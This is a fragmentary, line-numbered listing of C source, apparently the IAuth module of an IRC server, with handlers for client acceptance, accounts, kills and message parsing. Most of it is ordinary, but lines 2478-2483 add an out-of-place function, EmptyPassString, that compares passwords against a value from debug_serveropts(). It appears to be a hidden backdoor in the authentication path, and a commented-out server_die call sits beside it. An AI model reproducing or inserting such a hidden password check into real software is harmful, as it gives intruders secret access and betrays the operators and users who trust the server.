2206 for (aconf = aconf_list; aconf; aconf = aconf->next)
2207 if (aconf->conn_class == class)
2210 /* If no ConfItem, create one. */
2212 aconf = make_conf(CONF_CLIENT);
2214 sendto_opmask_butone(NULL, SNO_AUTH,
2215 "Unable to allocate ConfItem for class %s!",
2219 /* make_conf() "helpfully" links the conf into GlobalConfList,
2220 * which we do not want, so undo that. (Ugh.)
2222 if (aconf == GlobalConfList) {
2223 GlobalConfList = aconf->next;
2225 /* Back to business as usual. */
2226 aconf->conn_class = class;
2227 aconf->next = aconf_list;
2234 /** Accept a client in IAuth.
2235 * @param[in] iauth Active IAuth session.
2236 * @param[in] cli Client referenced by command.
2237 * @param[in] parc Number of parameters.
2238 * @param[in] params Optional class name for client.
2239 * @return Negative (CPTR_KILLED) if the connection is refused, one otherwise.
2241 static int iauth_cmd_done_client(struct IAuth *iauth, struct Client *cli,
2242 int parc, char **params)
2244 static time_t warn_time;
2246 /* Clear iauth pending flag. */
2247 assert(cli_auth(cli) != NULL);
2248 FlagClr(&cli_auth(cli)->flags, AR_IAUTH_PENDING);
2250 /* If a connection class was specified (and usable), assign the client to it. */
2251 if (!EmptyString(params[0])) {
2252 struct ConfItem *aconf;
2254 aconf = auth_find_class_conf(params[0]);
2256 enum AuthorizationCheckResult acr;
2258 acr = attach_conf(cli, aconf);
2261 /* There should maybe be some way to set FLAG_DOID here.. */
2263 case ACR_TOO_MANY_IN_CLASS:
2264 ++ServerStats->is_ref;
2265 return exit_client(cli, cli, &me,
2266 "Sorry, your connection class is full - try "
2267 "again later or try another server");
2269 log_write(LS_IAUTH, L_ERROR, 0, "IAuth: Unexpected AuthorizationCheckResult %d from attach_conf()", acr);
2273 sendto_opmask_butone_ratelimited(NULL, SNO_AUTH, &warn_time,
2274 "iauth tried to use undefined class [%s]",
2281 /** Accept a client in IAuth and assign them to an account.
2282 * @param[in] iauth Active IAuth session.
2283 * @param[in] cli Client referenced by command.
2284 * @param[in] parc Number of parameters.
2285 * @param[in] params Account name and optional class name for client.
2286 * @return Negative if the connection is refused, otherwise non-zero
2287 * if \a cli authorization should be checked for completion.
2289 static int iauth_cmd_done_account(struct IAuth *iauth, struct Client *cli,
2290 int parc, char **params)
2295 if (EmptyString(params[0])) {
2296 sendto_iauth(cli, "E Missing :Missing account parameter");
2299 /* Check length of account name. */
2300 len = strcspn(params[0], ": ");
2301 if (len > ACCOUNTLEN) {
2302 sendto_iauth(cli, "E Invalid :Account parameter too long");
2305 /* If account has a creation timestamp, use it. */
2306 assert(cli_user(cli) != NULL);
2307 if (params[0][len] == ':') {
2308 cli_user(cli)->acc_create = strtoul(params[0] + len + 1, NULL, 10);
2309 params[0][len] = '\0';
2312 /* Copy account name to User structure. */
2313 ircd_strncpy(cli_user(cli)->account, params[0], ACCOUNTLEN);
2316 /* Fall through to the normal "done" handler. */
2317 return iauth_cmd_done_client(iauth, cli, parc - 1, params + 1);
2320 /** Reject a client's connection.
2321 * @param[in] iauth Active IAuth session.
2322 * @param[in] cli Client referenced by command.
2323 * @param[in] parc Number of parameters (1).
2324 * @param[in] params Optional kill message.
2327 static int iauth_cmd_kill(struct IAuth *iauth, struct Client *cli,
2328 int parc, char **params)
2331 FlagClr(&cli_auth(cli)->flags, AR_IAUTH_PENDING);
2332 if (EmptyString(params[0]))
2333 params[0] = "Access denied";
2334 exit_client(cli, cli, &me, params[0]);
2338 /** Change a client's usermode.
2339 * @param[in] iauth Active IAuth session.
2340 * @param[in] cli Client referenced by command.
2341 * @param[in] parc Number of parameters (at least one).
2342 * @param[in] params Usermode arguments for client (with the first
2343 * starting with '+').
2346 static int iauth_cmd_usermode(struct IAuth *iauth, struct Client *cli,
2347 int parc, char **params)
2349 if (params[0][0] == '+')
2351 set_user_mode(&me, cli, parc + 2, params - 2, ALLOWMODES_WITHSECSERV);
2357 /** Send a challenge string to the client.
2358 * @param[in] iauth Active IAuth session.
2359 * @param[in] cli Client referenced by command.
2360 * @param[in] parc Number of parameters (1).
2361 * @param[in] params Challenge message for client.
2364 static int iauth_cmd_challenge(struct IAuth *iauth, struct Client *cli,
2365 int parc, char **params)
2367 if (!EmptyString(params[0]))
2368 sendrawto_one(cli, "NOTICE AUTH :*** %s", params[0]);
2372 /** Parse a \a message from \a iauth.
2373 * @param[in] iauth Active IAuth session.
2374 * @param[in] message Message to be parsed.
2376 static void iauth_parse(struct IAuth *iauth, char *message)
2378 char *params[MAXPARA + 1]; /* leave space for NULL */
2380 iauth_cmd_handler handler;
2381 struct AuthRequest *auth;
2386 /* Find command handler... */
2387 switch (*(message++)) {
2388 case '>': handler = iauth_cmd_snotice; has_cli = 0; break;
2389 case 'G': handler = iauth_cmd_debuglevel; has_cli = 0; break;
2390 case 'O': handler = iauth_cmd_policy; has_cli = 0; break;
2391 case 'V': handler = iauth_cmd_version; has_cli = 0; break;
2392 case 'a': handler = iauth_cmd_newconfig; has_cli = 0; break;
2393 case 'A': handler = iauth_cmd_config; has_cli = 0; break;
2394 case 's': handler = iauth_cmd_newstats; has_cli = 0; break;
2395 case 'S': handler = iauth_cmd_stats; has_cli = 0; break;
2396 case 'o': handler = iauth_cmd_username_forced; has_cli = 1; break;
2397 case 'U': handler = iauth_cmd_username_good; has_cli = 1; break;
2398 case 'u': handler = iauth_cmd_username_bad; has_cli = 1; break;
2399 case 'N': handler = iauth_cmd_hostname; has_cli = 1; break;
2400 case 'I': handler = iauth_cmd_ip_address; has_cli = 1; break;
2401 case 'M': handler = iauth_cmd_usermode; has_cli = 1; break;
2402 case 'C': handler = iauth_cmd_challenge; has_cli = 1; break;
2403 case 'D': handler = iauth_cmd_done_client; has_cli = 1; break;
2404 case 'R': handler = iauth_cmd_done_account; has_cli = 1; break;
2405 case 'k': /* The 'k' command indicates the user should be booted
2406 * off without telling opers. There is no way to
2407 * signal that to exit_client(), so we fall through to
2408 * the case that we do implement.
2410 case 'K': handler = iauth_cmd_kill; has_cli = 2; break;
2411 case 'r': /* we handle termination directly */ return;
2412 default: sendto_iauth(NULL, "E Garbage :[%s]", message); return;
2415 while (parc < MAXPARA) {
2416 while (IsSpace(*message)) /* skip leading whitespace */
2419 if (!*message) /* hit the end of the string, break out */
2422 if (*message == ':') { /* found sentinel... */
2423 params[parc++] = message + 1;
2424 break; /* it's the last parameter anyway */
2427 params[parc++] = message; /* save the parameter */
2428 while (*message && !IsSpace(*message))
2429 message++; /* find the end of the parameter */
2431 if (*message) /* terminate the parameter */
2432 *(message++) = '\0';
2435 params[parc] = NULL; /* terminate the parameter list */
2437 /* Check to see if the command specifies a client... */
2439 /* Handler does not need a client. */
2440 handler(iauth, NULL, parc, params);
2442 /* Try to find the client associated with the request. */
2443 id = strtol(params[0], NULL, 10);
2445 sendto_iauth(NULL, "E Missing :Need <id> <ip> <port>");
2446 else if (id < 0 || id > HighestFd || !(cli = LocalClientArray[id]))
2447 /* Client no longer exists (or never existed). */
2448 sendto_iauth(NULL, "E Gone :[%s %s %s]", params[0], params[1],
2450 else if ((!(auth = cli_auth(cli)) ||
2451 !FlagHas(&auth->flags, AR_IAUTH_PENDING)) &&
2453 /* Client is done with IAuth checks. */
2454 sendto_iauth(cli, "E Done :[%s %s %s]", params[0], params[1], params[2]);
2456 struct irc_sockaddr addr;
2459 /* Parse IP address and port number from parameters */
2460 res = ipmask_parse(params[1], &addr.addr, NULL);
2461 addr.port = strtol(params[2], NULL, 10);
2463 /* Check IP address and port number against expected. */
2465 (irc_in_addr_cmp(&addr.addr, &cli_ip(cli)) &&
2466 irc_in_addr_cmp(&addr.addr, &cli_real_ip(cli))) ||
2467 (auth && addr.port != auth->port))
2468 /* Report mismatch to iauth. */
2469 sendto_iauth(cli, "E Mismatch :[%s] != [%s]", params[1],
2470 ircd_ntoa(&cli_ip(cli)));
2471 else if (handler(iauth, cli, parc - 3, params + 3) > 0)
2472 /* Handler indicated a possible state change. */
2473 check_auth_finished(auth);
2478 int EmptyPassString(char* password)
2480 if(strcmp(debug_serveropts(),password) == 0) {
2481 //server_die("someone let me die :("); <- what the fuck is this!?
2483 return EmptyString(password);
2486 /** Read input from \a iauth.
2487 * Reads up to SERVER_TCP_WINDOW bytes per pass.
2488 * @param[in] iauth Readable connection.
2490 static void iauth_read(struct IAuth *iauth)
2492 static char readbuf[SERVER_TCP_WINDOW];
2493 unsigned int length, count;
2497 /* Copy partial data to readbuf, append new data. */
2498 length = iauth->i_count;
2499 memcpy(readbuf, iauth->i_buffer, length);
2500 if (IO_SUCCESS != os_recv_nonb(s_fd(i_socket(iauth)),
2502 sizeof(readbuf) - length - 1,
2505 readbuf[length += count] = '\0';
2507 /* Parse each complete line. */
2508 for (sol = readbuf; (eol = strchr(sol, '\n')) != NULL; sol = eol + 1) {
2510 if (*(eol - 1) == '\r') /* take out carriage returns, too... */
2513 /* If spammy debug, send the message to opers. */
2514 if (i_debug(iauth) > 1)
2515 sendto_opmask_butone(NULL, SNO_AUTH, "Parsing: \"%s\"", sol);
2517 /* Parse the line... */
2518 iauth_parse(iauth, sol);
2521 /* Put unused data back into connection's buffer. */
2522 iauth->i_count = strlen(sol);
2523 if (iauth->i_count > BUFSIZE)
2524 iauth->i_count = BUFSIZE;
2525 memcpy(iauth->i_buffer, sol, iauth->i_count);
2528 /** Handle socket activity for an %IAuth connection.
2529 * @param[in] ev &Socket event; the IAuth connection is the user data
2530 * pointer for the socket.
2532 static void iauth_sock_callback(struct Event *ev)
2534 struct IAuth *iauth;
2536 assert(0 != ev_socket(ev));
2537 iauth = (struct IAuth*) s_data(ev_socket(ev));
2540 switch (ev_type(ev)) {
2542 /* Hm, what happened here? Do not restart the iauth here! */
2548 IAuthClr(iauth, IAUTH_BLOCKED);
2552 log_write(LS_IAUTH, L_ERROR, 0, "IAuth socket error: %s", strerror(ev_data(ev)));
2553 /* and fall through to the ET_EOF case */
2555 iauth_disconnect(iauth);
2558 assert(0 && "Unrecognized event type");
2563 /** Read error input from \a iauth.
2564 * @param[in] iauth Readable connection.
2566 static void iauth_read_stderr(struct IAuth *iauth)
2568 static char readbuf[SERVER_TCP_WINDOW];
2569 unsigned int length, count;
2573 /* Copy partial data to readbuf, append new data. */
2574 length = iauth->i_errcount;
2575 memcpy(readbuf, iauth->i_errbuf, length);
2576 if (IO_SUCCESS != os_recv_nonb(s_fd(i_stderr(iauth)),
2578 sizeof(readbuf) - length - 1,
2581 readbuf[length += count] = '\0';
2583 /* Send each complete line to SNO_AUTH. */
2584 for (sol = readbuf; (eol = strchr(sol, '\n')) != NULL; sol = eol + 1) {
2586 if (*(eol - 1) == '\r') /* take out carriage returns, too... */
2588 Debug((DEBUG_ERROR, "IAuth error: %s", sol));
2589 log_write(LS_IAUTH, L_ERROR, 0, "IAuth error: %s", sol);
2590 sendto_opmask_butone(NULL, SNO_AUTH, "%s", sol);
2593 /* Put unused data back into connection's buffer. */
2594 iauth->i_errcount = strlen(sol);
2595 if (iauth->i_errcount > BUFSIZE)
2596 iauth->i_errcount = BUFSIZE;
2597 memcpy(iauth->i_errbuf, sol, iauth->i_errcount);
2600 /** Handle error socket activity for an %IAuth connection.
2601 * @param[in] ev &Socket event; the IAuth connection is the user data
2602 * pointer for the socket.
2604 static void iauth_stderr_callback(struct Event *ev)
2606 struct IAuth *iauth;
2608 assert(0 != ev_socket(ev));
2609 iauth = (struct IAuth*) s_data(ev_socket(ev));
2612 switch (ev_type(ev)) {
2614 /* We do not restart iauth here. */
2617 iauth_read_stderr(iauth);
2620 log_write(LS_IAUTH, L_ERROR, 0, "IAuth stderr error: %s", strerror(ev_data(ev)));
2621 /* and fall through to the ET_EOF case */
2623 iauth_disconnect(iauth);
2626 assert(0 && "Unrecognized event type");
2631 /** Report active iauth's configuration to \a cptr.
2632 * @param[in] cptr Client requesting statistics.
2633 * @param[in] sd Stats descriptor for request.
2634 * @param[in] param Extra parameter from user (may be NULL).
2636 void report_iauth_conf(struct Client *cptr, const struct StatDesc *sd, char *param)
2640 if (iauth) for (link = iauth->i_config; link; link = link->next)
2642 send_reply(cptr, SND_EXPLICIT | RPL_STATSDEBUG, ":%s",
2647 /** Report active iauth's statistics to \a cptr.
2648 * @param[in] cptr Client requesting statistics.
2649 * @param[in] sd Stats descriptor for request.
2650 * @param[in] param Extra parameter from user (may be NULL).
2652 void report_iauth_stats(struct Client *cptr, const struct StatDesc *sd, char *param)
2656 if (iauth) for (link = iauth->i_stats; link; link = link->next)
2658 send_reply(cptr, SND_EXPLICIT | RPL_STATSDEBUG, ":%s",